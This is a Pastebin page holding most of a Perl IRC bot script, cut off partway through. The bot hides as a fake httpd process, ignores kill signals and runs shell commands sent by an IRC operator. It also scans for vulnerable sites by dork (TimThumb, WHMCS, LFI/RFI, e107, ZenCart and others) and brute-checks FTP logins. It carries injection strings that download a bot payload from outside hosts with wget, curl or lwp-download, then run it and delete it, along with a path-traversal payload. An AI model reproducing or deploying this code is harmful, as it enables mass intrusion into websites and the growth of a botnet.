API tools faq
paste
sirnon

Jacksc

sirnon
Jul 24th, 2013
146
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 90.96 KB | None | 0 0
raw download clone embed print report diff
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16. use DBI;
  17. use DBD::mysql;
  18.  
  19. my $datetime = localtime;
  20. my $fakeproc = "/usr/sbin/httpd";
  21. my $ircserver = "irc.jatimcom.net";
  22. my $ircport = "7000";
  23. my $nickname = "BKHT-SC[".int(rand(100))."]";
  24. my $ident = "Biz";
  25. my $channel = "#biangkerox";
  26. my $chanxxx = "#biangkerox";
  27. my $chaninfo = "#biangkerox";
  28. my $submitchan = "#biangkerox";
  29. my $admin = "CaLiBeR";
  30. my $fullname = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R ";
  31. my $rawmsg = $ARGV[4];
  32. my $msgraw = $ARGV[5];
  33.  
  34. my $nob0dy = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R ";
  35. my $whmcslogo = "9,1[4!9]11WHMCS 9<4=9> ";
  36. my $thumblogo = "9,1[4!9]11TimThumb 9<4=9> ";
  37. my $zerologo = "9,1[4!9]11zBoarD 9<4=9> ";
  38. my $lfilogo = "9,1[4!9]11Lfi 9<4=9> ";
  39. my $rfilogo = "9,1[4!9]11Rfi 9<4=9> ";
  40. my $xmllogo = "9,1[4!9]11Xml 9<4=9> ";
  41. my $oscologo = "9,1[4!9]11Osco 9<4=9> ";
  42. my $oscosqllogo = "9,1[4!9]11O-Sql 9<4=9> ";
  43. my $e107logo = "9,1[4!9]11E107 9<4=9> ";
  44. my $ihlogo = "9,1[4!9]11Is-Human 9<4=9> ";
  45. my $zenlogo = "9,1[4!9]11ZenCart 9<4=9> ";
  46. my $rfglogo = "9,1[4!9]11RfG 9<4=9> ";
  47. my $whmcscmd = '!whmcs';
  48. my $thumbcmd = "!timx";
  49. my $zerocmd = "!zero";
  50. my $lficmd = "!lfi";
  51. my $rficmd = "!rfi";
  52. my $xmlcmd = "!xml";
  53. my $e107cmd = "!e107";
  54. my $zencmd = "!zen";
  55. my $ihcmd = "!ishu";
  56. my $oscocmd = "!osco";
  57. my $cmdlfi = "!cmdlf";
  58. my $cmdxml = "!cmdxm";
  59. my $cmde107 = "!cmde10";
  60. my $rfgcmd = "!rfg";
  61. my $ftpcmd = "!ftp";
  62. my $spreadMode = 1;
  63. my $zerowget = 1;
  64. my $zerolwp = 1;
  65. my $zerocurl = 1;
  66. my $gps = 1;
  67. my $gps2 = 0;
  68. my $timot = 10;
  69. my $silentmode = 0;
  70. my $hostinjector = "http://flickr.com.splendidodesigns.com/";
  71. my $thumbid = "http://".$hostinjector."/stunxx.php";
  72. my $botdid = "http://".$hostinjector."/load.php";
  73. my $botxdid = "http://".$hostinjector."/stunxx.php";
  74. my $thumbshell = uri_escape($thumbid);
  75. my $md5php = md5_hex($thumbid).".php";
  76. my $md5bot = md5_hex($botdid).".php";
  77. my $md5botx = md5_hex($botxdid).".php";
  78. my $botid = uri_escape($botdid);
  79. my $botxid = uri_escape($botxdid);
  80. my $injector = "http://".$hostinjector."/bad.txt";
  81. my $botshell = "http://".$hostinjector."/bot.txt";
  82. my $subticket = "/submitticket.php?step=2&deptid=1";
  83. my $action = "/data/lobex.php";
  84. my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fbad.php;wget%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";
  85. my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbad.php;lwp-download%20-a%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";
  86. my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbad.php;curl%20-C%20-%20-O%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";
  87. my $uagent = "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0";
  88. my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
  89. my @sitexxx = ("www.iordachemarian.ro","www.anglais4xplusvite.ch/french","professor.sergiojr.info","northernart.co.th","fer.comoj.com","dateakademie.de");
  90. my $jpath = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  91. my $jack = "http://".$jacks.$jpath;
  92. my $jack1 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  93. my $jack2 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  94. my $jack3 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  95. my $jack4 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  96. my $jack5 = "http://barileatherfurniture.com/banner_images/cihui.php?q=";
  97. my $engine = "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,
  98. JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,
  99. JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam";
  100.  
  101. $SIG{'INT'} = 'IGNORE';
  102. $SIG{'HUP'} = 'IGNORE';
  103. $SIG{'TERM'} = 'IGNORE';
  104. $SIG{'CHLD'} = 'IGNORE';
  105. $SIG{'PS'} = 'IGNORE';
  106. #chdir("/");
  107. $ircserver = "$ARGV[0]" if $ARGV[0];
  108. $ircport = "$ARGV[1]" if $ARGV[1];
  109. $nickname = "$ARGV[2]" if $ARGV[2];
  110. $channel = "$ARGV[3]" if $ARGV[3];
  111. $0 = "$fakeproc"."\0" x 16;
  112. my $pid = fork;
  113. exit if $pid;
  114. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  115.  
  116. our %irc_servers;
  117. our %DCC;
  118. my $dcc_sel = new IO::Select->new();
  119. $sel_client = IO::Select->new();
  120. sub sendraw {
  121. if ($#_ == '1') {
  122. my $socket = $_[0];
  123. print $socket "$_[1]\n";
  124. } else {
  125. print $IRC_cur_socket "$_[0]\n";
  126. }
  127. }
  128. sub connector {
  129. my $mynick = $_[0];
  130. my $ircserver_con = $_[1];
  131. my $ircport_con = $_[2];
  132. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  133. if (defined($IRC_socket)) {
  134. $IRC_cur_socket = $IRC_socket;
  135. $IRC_socket->autoflush(1);
  136. $sel_client->add($IRC_socket);
  137. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  138. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  139. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  140. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  141. nick("$mynick");
  142. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  143. sleep(1);}}
  144.  
  145. sub parse {
  146. my $servarg = shift;
  147. if ($servarg =~ /^PING \:(.*)/) {
  148. sendraw("PONG :$1");
  149. }
  150. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  151. if (lc($1) eq lc($mynick)) {
  152. $mynick = $4;
  153. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  154. }
  155. }
  156. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  157. nick("$mynick".int rand(1));
  158. }
  159. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  160. $mynick = $2;
  161. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  162. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  163. sendraw("MODE $mynick +Bx");
  164. sendraw("NS id qwe123");
  165. sleep(3);
  166. sendraw("JOIN $channel correct");
  167. sendraw("JOIN $chanxxx mejen");
  168. sleep(1);
  169. sendraw("PRIVMSG $channel :9,1[4!9]15 EhhEemmmm !!!");
  170. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  171. }
  172. }
  173.  
  174. my $line_temp;
  175. while( 1 ) {
  176. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  177. select(undef, undef, undef, 0.01);
  178. delete($irc_servers{''}) if (defined($irc_servers{''}));
  179. my @ready = $sel_client->can_read(0);
  180. next unless(@ready);
  181. foreach $fh (@ready) {
  182. $IRC_cur_socket = $fh;
  183. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  184. $nread = sysread($fh, $ircmsg, 4096);
  185. if ($nread == 0) {
  186. $sel_client->remove($fh);
  187.  
  188. $fh->close;
  189. delete($irc_servers{$fh});
  190. }
  191. @lines = split (/\n/, $ircmsg);
  192. $ircmsg =~ s/\r\n$//;
  193. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  194. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  195. if ($path eq $mynick) {
  196. if ($msg =~ /^PING (.*)/) {
  197. sendraw("NOTICE $nick :PING $1");
  198. }
  199. if ($msg =~ /^VERSION/) {
  200. sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  201. }
  202. if ($msg =~ /^TIME/) {
  203. sendraw("NOTICE $nick :TIME ".$datetime."");
  204. }
  205. if (&isAdmin($nick) && $msg eq "!die") {
  206. &shell("$path","kill -9 $$");
  207. }
  208. if (&isAdmin($nick) && $msg eq "!killall") {
  209. &shell("$path","killall -9 perl");
  210. }
  211. if (&isAdmin($nick) && $msg eq "!reset") {
  212. sendraw("QUIT :Restarting...");
  213. }
  214. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  215. sendraw("JOIN #".$1);
  216. }
  217. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  218. sendraw("PART #".$1);
  219. }
  220. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  221. sendraw("NICK ".$1);
  222. }
  223. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  224. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  225. }
  226. if (&isAdmin($nick) && $msg !~ /^!/) {
  227. &shell("$nick","$msg");
  228. }
  229. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  230. sendraw("$rawmsg $msgraw ".$1);
  231. }
  232. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  233. sendraw("PRIVMSG $rawmsg ".$1);
  234. }
  235. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  236. sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  237. }
  238. if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) {
  239. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  240. $newthumbcmd = $1;
  241. $thumbcmd = $newthumbcmd;
  242. &msg("$admin","$thumblogo9 Scan Command change to4 $thumbcmd ");
  243. }}}
  244. if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) {
  245. $newzerocmd = $1;
  246. $zerocmd = $newzerocmd;
  247. &msg("$admin","$zerologo9 Scan Command change to4 $zerocmd ");
  248. }
  249. if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) {
  250. $newwhmcscmd = $1;
  251. $whmcscmd = $newwhmcscmd;
  252. &msg("$admin","$whmcslogo9 Scan Command change to4 $whmcscmd ");
  253. }
  254. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  255. $newtimot = $1;
  256. $timot = $newtimot;
  257. &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  258. }
  259. if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  260. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  261. $newchan = $1;
  262. $chanxxx = $newchan;
  263. &msg("$admin","9,1 xChan change to4 $chanxxx ");
  264. }}}
  265. }
  266. else {
  267. if (&isAdmin($nick) && $msg eq "!die") {
  268. &shell("$path","kill -9 $$");
  269. }
  270. if (&isAdmin($nick) && $msg eq "!killall") {
  271. &shell("$path","killall -9 perl");
  272. }
  273. if (&isAdmin($nick) && $msg eq "!reset") {
  274. sendraw("QUIT :Restarting...");
  275. }
  276. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  277. sendraw("JOIN #".$1);
  278. }
  279. if (&isAdmin($nick) && $msg eq "!part") {
  280. sendraw("PART $path");
  281. }
  282. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  283. sendraw("PART #".$1);
  284. }
  285. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  286. &shell("$path","$1");
  287. }
  288. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  289. &shell("$path","$1");
  290. }
  291. if ($msg=~ /^!silent\s+(.*) -d/) {
  292. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  293. $smod = $1;
  294. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  295. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  296. &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  297. }}}
  298. if ($msg=~ /^!jackx\s+(.*) -d/) {
  299. $engmod = $1;
  300. if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
  301.  
  302. elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
  303. &msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");
  304. }
  305. if ($msg=~ /^!engine\s+(.*) -d/) {
  306. $engmod = $1;
  307. if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
  308. elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
  309. &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
  310. }
  311. if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) {
  312. $newhostinjector= $1;
  313. $hostinjector = $newhostinjector;
  314. &msg("$path","9,1[4!9]Injector 15change to4 $hostinjector ");
  315. }
  316. if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  317. my $url = $1.$lfdtest;
  318. my $cmd = $2;
  319. &cmdlfi($url,$cmd,$path);
  320. }
  321. if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  322. my $url = $1;
  323. my $cmd = $2;
  324. &cmdxml($url,$cmd,$path);
  325. }
  326. if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
  327. my $url = $1;
  328. my $cmd = $2;
  329. &cmde107($url,$cmd,$path);
  330. }
  331. ##################################################################### HELP COMMAND
  332. if ($msg=~ /^!help/) {
  333. my $helplogo = "9,1[4!9]15Help 4<9=4> ";sleep(3);
  334. &msg("$path","$helplogo9Timthumb Vuln Scan:15 $thumbcmd [bug] [dork] ");
  335. &msg("$path","$helplogo9RFG Vuln Scan:15 $rfgcmd [bug] [dork] ");
  336. &msg("$path","$helplogo9RFI Vuln Scan:15 $rficmd [bug] [dork] ");
  337. &msg("$path","$helplogo9LFI Vuln Scan:15 $lficmd [bug] [dork] ");
  338. &msg("$path","$helplogo9XML Vuln Scan:15 $xmlcmd [bug] [dork] ");
  339. &msg("$path","$helplogo9e107 Vuln Scan:15 $e107cmd [dork] ");
  340. &msg("$path","$helplogo9WHMCS Vuln Scan:15 $whmcscmd [dork] ");
  341. &msg("$path","$helplogo9ZeroBoard Vuln Scan:15 $zerocmd [dork] ");
  342. &msg("$path","$helplogo9osCommerce Vuln Scan:15 $oscocmd [dork] ");
  343. &msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");
  344. }
  345. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  346. &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  347. }
  348. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  349. if (&isFound($thumbid,"GIF89")) {
  350. &msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! ");
  351. } else {
  352. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  353. }
  354. }
  355. if ($msg=~/^!bypass/){
  356. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  357. my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";
  358. my $cekby1 = &get_content($jack1."byroe");
  359. if ($cekby1 =~ /byroe\.net/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Lost!!!"; }
  360. my $cekby2 = &get_content($jack2."byroe");
  361. if ($cekby2 =~ /byroe\.net/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Lost!!!"; }
  362. my $cekby3 = &get_content($jack3."byroe");
  363. if ($cekby3 =~ /byroe\.net/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Lost!!!"; }
  364. my $cekby4 = &get_content($jack4."byroe");
  365. if ($cekby4 =~ /byroe\.net/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Lost!!!"; }
  366. my $cekby5 = &get_content($jack5."byroe");
  367. if ($cekby5 =~ /byroe\.net/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Lost!!!"; }
  368. &msg("$path","9,1[4!9]Bypass 4<9=4>15 JacK1=$bystats1 15JacK2=$bystats2 15JacK3=$bystats3 15JacK4=$bystats4 15JacK5=$bystats5")
  369. }}}
  370. ##################################################################### SCAN
  371. if ($msg =~ /^$oscocmd\s+(.*)/) {
  372. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  373. my $dork = $1;
  374. my $simpan = 'situs.txt';
  375. if (&isFound($thumbid,"GIF89")) {
  376. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Oscommerce di 4$path ");
  377. &msg("$path","$oscologo9Dork 4<9=4>15 $dork ");
  378. &msg("$path","$oscologo9Search Engine 4<9=4>15 Loading ");
  379. &se_start($path,"apalah",$simpan,$dork,$engine,9);
  380. } else {
  381. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  382. }
  383. }
  384. }
  385. }
  386. if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
  387. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  388. my ($bug,$dork) = ($1,$2);
  389. my $simpan = 'situs.txt';
  390. if (&isFound($thumbid,"GIF89")) {
  391. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan LFI di 4$path ");
  392. &msg("$path","$lfilogo9Dork 4<9=4>15 $dork ");
  393. &msg("$path","$lfilogo9Bugz 4<9=4>15 $bug ");
  394. &msg("$path","$lfilogo9Search Engine 4<9=4>15 Loading ");
  395. &se_start($path,$bug,$simpan,$dork,$engine,3);
  396. } else {
  397. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  398. }
  399. }
  400. }
  401. }
  402. if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
  403. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  404. my ($bug,$dork) = ($1,$2);
  405. my $simpan = 'situs.txt';
  406. if (&isFound($thumbid,"GIF89")) {
  407. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFI di 12$path ");
  408. &msg("$path","$rfilogo9Dork 4<9=4>15 $dork ");
  409. &msg("$path","$rfilogo9Bugz 4<9=4>15 $bug ");
  410. &msg("$path","$rfilogo9Search Engine 4<9=4>15 Loading ");
  411. &se_start($path,$bug,$simpan,$dork,$engine,5);
  412. } else {
  413. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  414. }
  415. }
  416. }
  417. }
  418. if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
  419. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  420. my ($bug,$dork) = ($1,$2);
  421. my $simpan = 'situs.txt';
  422. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan XML di 12$path ");
  423. &msg("$path","$xmllogo9Dork 4<9=4>15 $dork ");
  424. &msg("$path","$xmllogo9Bugz 4<9=4>15 $bug ");
  425. &msg("$path","$xmllogo9Search Engine 4<9=4>15 Loading ");
  426. &se_start($path,$bug,$simpan,$dork,$engine,6);
  427. }
  428. }
  429. }
  430. if ($msg =~ /^$thumbcmd\s+(.+?[.php])\s+(.*)/) {
  431. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  432. my ($bug,$dork) = ($1,$2);
  433. my $simpan = 'situs.txt';
  434. if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else {
  435. if (&isFound($thumbid,"GIF89")) {
  436. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan TimTHumb di 12$path ");
  437. &msg("$path","$thumblogo9Dork 4<9=4>15 $dork ");
  438. &msg("$path","$thumblogo9Bugz 4<9=4>15 $bug ");
  439. &msg("$path","$thumblogo9Search Engine 4<9=4>15 Loading ");
  440. &se_start($path,$bug,$simpan,$dork,$engine,1);
  441. } else {
  442. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; }
  443. }
  444. }
  445. }
  446. }
  447. if ($msg =~ /^$whmcscmd\s+(.*)/) {
  448. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  449. my ($bug,$dork) = ("cart.php?a=byroe&templatefile=",$1);
  450. my $simpan = 'situs.txt';
  451. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan WHMCS di 12$path ");
  452. &msg("$path","$whmcslogo9Dork 4<9=4>15 $dork ");
  453. &msg("$path","$whmcslogo9Search Engine 4<9=4>15 Loading ");
  454. &se_start($path,$bug,$simpan,$dork,$engine,2);
  455. }
  456. }
  457. }
  458. if ($msg =~ /^$zerocmd\s+(.*)/) {
  459. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  460. if (&isFound($thumbid,"GIF89")) {
  461. my ($bug,$dork) = ("zboard.php?id=byroe",$1);
  462. my $simpan = 'situs.txt';
  463. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan zboard di 12$path ");
  464. &msg("$path","$zerologo9Dork 4<9=4>15 $dork ");
  465. &msg("$path","$zerologo9Search Engine 4<9=4>15 Loading ");
  466. &se_start($path,$bug,$simpan,$dork,$engine,4);
  467. } else {
  468. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  469. }
  470. }
  471. }
  472. }
  473. if ($msg =~ /^$e107cmd\s+(.*)/) {
  474. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  475. if (&isFound($thumbid,"GIF89")) {
  476. my ($bug,$dork) = ("contact.php",$1);
  477. my $simpan = 'situs.txt';
  478. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan E107 di 12$path ");
  479. &msg("$path","$e107logo9Dork 4<9=4>15 $dork ");
  480. &msg("$path","$e107logo9Search Engine 4<9=4>15 Loading ");
  481. &se_start($path,$bug,$simpan,$dork,$engine,7);
  482. } else {
  483. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  484. }
  485. }
  486. }
  487. }
  488. if ($msg =~ /^$ihcmd\s+(.*)/) {
  489. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  490. if (&isFound($thumbid,"GIF89")) {
  491. my ($bug,$dork) = ("wp-content/plugins/is-human/engine.php",$1);
  492. my $simpan = 'situs.txt';
  493. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Is-Human di 12$path ");
  494. &msg("$path","$ihlogo9Dork 4<9=4>15 $dork ");
  495. &msg("$path","$ihlogo9Search Engine 4<9=4>15 Loading ");
  496. &se_start($path,$bug,$simpan,$dork,$engine,8);
  497. } else {
  498. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  499. }
  500. }
  501. }
  502. }
  503. if ($msg =~ /^$zencmd\s+(.*)/) {
  504. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  505. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  506. my $simpan = 'situs.txt';
  507. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 12$path ");
  508. &msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");
  509. &msg("$path","$zenlogo9Search Engine 4<9=4>15 Loading ");
  510. &se_start($path,$bug,$simpan,$dork,$engine,10);
  511. }
  512. }
  513. }
  514. if ($msg =~ /^$rfgcmd\s+(.*)/) {
  515. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  516. my ($bug,$dork) = ("apalah",$1);
  517. my $simpan = 'situs.txt';
  518. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFG di 12$path ");
  519. &msg("$path","$rfglogo9Dork 4<9=4>15 $dork ");
  520. &msg("$path","$rfglogo9Search Engine 4<9=4>15 Loading ");
  521. &se_start($path,$bug,$simpan,$dork,$engine,11);
  522. }
  523. }
  524. }
  525. if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  526. my $url = $_[0];
  527. my $host = $_[1];
  528. my $user = $_[2];
  529. my $pass = $_[3];
  530. if (my $pid = fork) {
  531. waitpid($pid, 0);
  532. } else {
  533. if (fork) { exit; } else {
  534. my ($host,$user,$pass) = ($1,$2,$3);
  535. &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  536. my $success = 1;
  537. use Net::FTP;
  538. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  539. $success = 0 if $ftp->login($user,$pass);
  540. $ftp->quit;
  541. if ($success == 0) {
  542. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  543. } else {
  544. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  545.  
  546. }
  547. }
  548. }
  549. }
  550. }
  551. }
  552. for(my $c=0; $c<= $#lines; $c++) {
  553. $line = $lines[$c];
  554. $line = $line_temp.$line if ($line_temp);
  555. $line_temp = '';
  556. $line =~ s/\r$//;
  557. unless ($c == $#lines) {
  558.  
  559. parse("$line");
  560. } else {
  561. if ($#lines == 0) {
  562. parse("$line");
  563. } elsif ($lines[$c] =~ /\r$/) {
  564. parse("$line");
  565. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  566. parse("$line");
  567. } else {
  568. $line_temp = $line;
  569. }
  570. }
  571. }
  572. }
  573. }
  574.  
  575. ##################################################################################
  576.  
  577. sub type() {
  578. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  579. if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}
  580. elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}
  581. elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  582. elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}
  583. elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  584. elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}
  585. elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}
  586. elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}
  587. elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}
  588. elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}
  589. elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}
  590. }
  591.  
  592. ##################################################################################
  593.  
  594. sub se_start() {
  595. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  596. if ($gps ==1) {
  597. if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }
  598. if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }
